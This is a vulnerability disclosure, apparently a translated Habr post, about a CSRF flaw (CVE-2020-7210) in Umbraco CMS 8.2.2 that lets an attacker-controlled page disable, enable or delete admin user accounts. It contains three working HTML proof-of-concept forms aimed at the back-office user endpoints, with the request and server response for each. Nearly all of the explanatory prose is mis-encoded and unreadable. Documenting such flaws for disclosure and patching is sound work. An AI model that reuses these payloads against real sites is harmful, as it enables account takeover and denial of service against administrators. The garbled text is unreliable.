Umbraco CMS рдореЗрдВ CSRF

Umbraco CMS рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдмрдВрдзрди рдкреНрд░рдгрд╛рд▓реА рдХреЗ рд▓рд┐рдП рдордирдорд╛рдиреЗ рдврдВрдЧ рд╕реЗ рд╡реЗрдм рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдФрд░ рдЕрдкрдиреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЙрдирдХреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдмрд┐рдирд╛ рдкрд╣рдЪрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рдЬрд╛рд▓рд╕рд╛рдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рддрд░рд╣ рдХреЗ рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП рд╣рдореЗрд╢рд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рд▓реЗрдХрд┐рди, рдПрдХ рдирд┐рдпрдо рдХреЗ рд░реВрдк рдореЗрдВ, рдпрд╣ рдкреАрдбрд╝рд┐рдд рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рддреИрдпрд╛рд░ рд▓рд┐рдВрдХ рдХрд╛ рдкрд╛рд▓рди рдХрд░рдиреЗ рдпрд╛ рдПрдХ рд╡реЗрдм рдкреЗрдЬ рдкрд░ рдЬрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ рдЬреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рд╣реИред рдЗрд╕рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЛрдВ рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдирд╛, рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░рдирд╛ рдпрд╛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╣рдЯрд╛рдирд╛ рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рдирддреАрдЬрддрди, рдЦрд╛рддреЛрдВ рдкрд░ DoS рдХреЗ рд╣рдорд▓реЛрдВ рдХрд╛ рдЦрддрд░рд╛ рд╣реИ ред



рдкреГрд╖реНрдарднреВрдорд┐


рдПрдХ рдЫреЛрдЯреЗ рд╕рдВрд╕рд╛рдзрди рдкреИрда рдХреЗ рдкрд░реАрдХреНрд╖рдг рдХреЗ рджреМрд░рд╛рди рдпрд╣ Umbraco CMS рдХреЗ рд╕рдордп рдореЗрдВ рдирдП рд╕рд┐рд░реЗ рд╕реЗ CSRF -uyazvimost рдХреА рдЦреЛрдЬ рдХреА рдЧрдИ рдереА ред рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЛрдВ рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ, рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░рдиреЗ рдпрд╛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╣рдЯрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреА рдЧрдИ рд╣реИред рдЗрд╕ рддрдереНрдп рдХреЗ рдмрд╛рд╡рдЬреВрдж рдХрд┐ рдирд╡реАрдирддрдо OWASP рдЯреЙрдк рдЯреЗрди 2017 рдХреА рд░рд┐рдкреЛрд░реНрдЯ рдореЗрдВ, CSRF рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдиреЗ 10 рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдХреА рд╕реВрдЪреА рдХреЛ рдЫреЛрдбрд╝ рджрд┐рдпрд╛, рдЙрдиреНрд╣реЗрдВ рдЫреВрдЯ рджреЗрдирд╛ рдЬрд▓реНрджрдмрд╛рдЬреА рд╣реЛрдЧреАред рднреЗрджреНрдпрддрд╛ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рд╕рдВрд╕реНрдХрд░рдг 8.2.2 рдкрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛; рд╕рдВрд╕реНрдХрд░рдг 8.5 рдореЗрдВ, рдпрд╣ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рддрдп рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЗрд╕рд╕реЗ рдкрд╣рд▓реЗ рдХреЗ рдЕрдиреНрдп рд╕рдВрд╕реНрдХрд░рдг рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд░рд╣реЗрдВред рдЗрд╕ рдЙрддреНрдкрд╛рдж рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдирд╡реАрдирддрдо рдЙрдкрд▓рдмреНрдз рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рддреБрд░рдВрдд рдЕрдкрдЧреНрд░реЗрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреГрдврд╝рддрд╛ рд╕реЗ рдкреНрд░реЛрддреНрд╕рд╛рд╣рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред





рдЕрд╡рдзрд╛рд░рдгрд╛ рдХреЗ рд╕реБрдмреВрдд


рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╣рдорд▓реЗ рдХреА рд╕реНрдерд┐рддрд┐ рдореЗрдВ, рдирд┐рдореНрди HTML рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЛ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╡реЗрдмрд╕рд╛рдЗрдЯ рдкрд░ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

рдЙрджрд╛рд╣рд░рдг 1: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП HTML


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

рдПрдХ рдЕрдиреБрд░реЛрдз рдЬреЛ рдкреАрдбрд╝рд┐рдд рдХреА рдУрд░ рд╕реЗ рд╕рд░реНрд╡рд░ рдХреЛ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ:

POST /umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

рд╕рд░реНрд╡рд░ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 112
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:57:45 GMT
Connection: close

)]}',
{"notifications":[{"header":"<USERNAME> is now disabled","message":"","type":3}],"message":"<USERNAME> is now disabled"}

рдЙрджрд╛рд╣рд░рдг 2: HTML рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

рдкреВрдЫрддрд╛рдЫ:

POST /umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

рдЙрддреНрддрд░:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 110
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Wed, 06 Nov 2019 10:58:12 GMT
Connection: close

)]}',
{"notifications":[{"header":"<USERNAME> is now enabled","message":"","type":3}],"message":"<USERNAME> is now enabled"}

рдЙрджрд╛рд╣рд░рдг 3: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╣рдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП HTML


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

рдкреВрдЫрддрд╛рдЫ:

POST /umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

рдЙрддреНрддрд░:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 114
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:58:36 GMT
Connection: close

)]}',
{"notifications":[{"header":"User <USERNAME> was deleted","message":"","type":3}],"message":"User <USERNAME> was deleted"}


рдкреАрдбрд╝рд┐рдд рдХреЛ JSON рдкреНрд░рд╛рд░реВрдк (рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рд╕реНрдХреНрд░реАрди) рдореЗрдВ рд╕рд░реНрд╡рд░ рд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдорд┐рд▓рддреА рд╣реИ ред

рдЬреИрд╕реЗ рд╣реА рдПрдХ рдкреНрд░рдорд╛рдгрд┐рдд рдкреАрдбрд╝рд┐рдд (рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ) рдПрдореНрдмреЗрдбреЗрдб рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг HTML рдХреЗ рд╕рд╛рде рдПрдХ рд╡реЗрдмрд╕рд╛рдЗрдЯ рдкрд░ рдЬрд╛рддрд╛ рд╣реИ, рдкреАрдбрд╝рд┐рдд рдХреЗ рд╕рддреНрд░ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рд╕рдХреНрд░рд┐рдп рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕рд╛рдордЧреНрд░реА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рд▓рдЧрддреА рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐ рдЗрди рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рдЬрд╡рд╛рдм рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдирд╣реАрдВ рджрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдХрдИ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдпрд╣ рдЙрд╕рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реЛрдЧрд╛ рдХрд┐ рд╡рд╣ рд╕рд╛рдЗрдЯ рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рдкреАрдбрд╝рд┐рдд рдХреА рдЬрд╛рдирдХрд╛рд░реА рдХреА рдЕрдЦрдВрдбрддрд╛ рдХреЛ рдЦрддрд░реЗ рдореЗрдВ рдбрд╛рд▓реЗ, рдпрд╛ рдЕрдиреНрдп рд╕рд╛рдЗрдЯреЛрдВ рдкрд░ рд╕рдВрднрд╛рд╡рд┐рдд рд╕рдордЭреМрддрд╛ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗред

рдПрдХ рдирд┐рд╖реНрдХрд░реНрд╖ рдХреЗ рдмрдЬрд╛рдп


рд╣рд╛рд▓рд╛рдБрдХрд┐ рд╣рд╛рд▓ рд╣реА рдореЗрдВ рдЕрдзрд┐рдХ рд╕реЗ рдЕрдзрд┐рдХ рд╣рдорд▓реЗ рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд╛рдЗрдб рд╕реЗ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдореЗрдВ рдЧрдП рд╣реИрдВ, рдлрд┐рд░ рднреА рдЙрдиреНрд╣реЗрдВ рдЙрдЪрд┐рдд рдзреНрдпрд╛рди рджреЗрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рд╕рд╛рде рдмрд╛рдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдордиреЗ рдЬрд▓реНрджреА рд╕реЗ рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдЙрддреНрдкрд╛рдж рд╡рд┐рдХреНрд░реЗрддрд╛ рд╕реЗ рд╕рдВрдкрд░реНрдХ рдХрд┐рдпрд╛ рдФрд░ рд╕реБрдзрд╛рд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХреАред рднреЗрджреНрдпрддрд╛ рдХреЛ CVE-2020-7210 рд╕реВрдЪрдХрд╛рдВрдХ рд╕реМрдВрдкрд╛ рдЧрдпрд╛ рдерд╛ред рдореИрдВ рдорд╛рдирддрд╛ рд╣реВрдВ, рдореЗрд░реЗ рд▓рд┐рдП рдПрдХ рдкрдВрдЪрдХ рдХреЗ рд░реВрдк рдореЗрдВ, рдпрд╣ рд╕реАрд╡реАрдИ рд╕реВрдЪрдХрд╛рдВрдХ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╣рд▓реА рднреЗрджреНрдпрддрд╛ рд╣реИред

Source: https://habr.com/ru/post/undefined/


All Articles